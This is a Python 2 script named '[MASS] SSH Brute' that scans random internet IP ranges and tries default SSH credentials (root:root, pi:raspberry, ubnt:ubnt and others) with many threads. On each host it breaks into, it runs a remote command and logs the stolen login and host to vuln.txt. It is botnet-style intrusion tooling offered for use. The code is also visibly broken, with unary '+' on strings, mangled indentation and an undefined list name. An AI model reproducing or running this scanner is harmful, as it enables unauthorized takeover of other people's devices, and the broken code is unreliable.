[MASS] SSH Brute

#!/usr/bin/env python
# python root.py 500 LUCKY x 0
# python root.py 500 B 101.108 1
# python root.py 500 A 125 1

import threading, paramiko, random, socket, time, sys

paramiko.util.log_to_file("/dev/null") # silents spam of paramiko

blacklist = [
    '127'
]


passwords = [
    "root:root",
    "root:admin",
    "admin:admin",
    "ubnt:ubnt",
    "root:1234",
    "admin:1234",
    "guest:guest",
    "user:user",
    "test:test",
    "pi:raspberry",
    "vagrant:vagrant",
]
#pastebin.com/S4JutZkd
if sys.argv[4] == '1':
    passwords = [ "root:root", "ubnt:ubnt", "admin:admin", "root:password" ] #Slow but effective
if sys.argv[4] == '2':
    passwords = [ "root:root" ] #Fast but yet less effective
if sys.argv[4] == '3':
    passwords = [ "root:synopass" ] #thefuckis a synopass
if sys.argv[4] == 'perl':
    passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
if sys.argv[4] == 'all':
    passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow

ipclassinfo = sys.argv[2]
if ipclassinfo == "A":
    ip1 = sys.argv[3]
elif ipclassinfo == "B":
    ip1 = sys.argv[3].split(".")[0]
    ip2 = sys.argv[3].split(".")[1]
elif ipclassinfo == "C":
    ips = sys.argv[3].split(".")
    num=0
    for ip in ips:
        num=num+1
        if num == 1:
            ip1 = ip
        elif num == 2:
            ip2 = ip
        elif num == 3:
            ip3 = ip
class sshscanner(threading.Thread):
    global passwords
    global ipclassinfo
    if ipclassinfo == "A":
        global ip1
    elif ipclassinfo == "B":
        global ip1
        global ip2
    elif ipclassinfo == "C":
        global ip1
        global ip2
        global ip3
    def run(self):
        while 1:
            try:
                while 1:
                    thisipisbad='no'
                    if ipclassinfo == "A":
                        self.host = +ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
                    elif ipclassinfo == "B":
                        self.host = +ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
                    elif ipclassinfo == "C":
                        self.host = +ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
                    elif ipclassinfo == "LUCKY":
            lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
                        self.host = +random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
                    else:
                        self.host = +str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
                    for badip in reservedips:
                        if badip in self.host:
                            thisipisbad='yes'
                    if thisipisbad=='no':
                        break
                username='root'
                password=""
                port = 22
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(3)
                s.connect((self.host, port))
                s.close()
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                dobreak=False
                for passwd in passwords:
                    if ":n/a" in passwd:
                        password=""
                    else:
                        password=passwd.split(":")[1]
                    if "n/a:" in passwd:
                        username=""
                    else:
                        username=passwd.split(":")[0]
                    try:
                        ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
                        dobreak=True
                        break
                    except:
                        pass
                    if True == dobreak:
                        break
                badserver=True
                stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
                output = stdout.read()
                if "inet addr" in output:
                    badserver=False
                if badserver == False:
                        print 'Executing on -> '+self.host+':'+username+':'+password+''
                        ssh.exec_command(" whatevuh ")
            f = open('vuln.txt', 'a')
                        f.write("%s:%s:%s\n" % (username, password, self.host))
                        f.close()
                        time.sleep(20)
                        ssh.close()
            except:
                pass

for x in range(0,int(sys.argv[1])):
    try:
        t = sshscanner()
        t.start()
    except:
        pass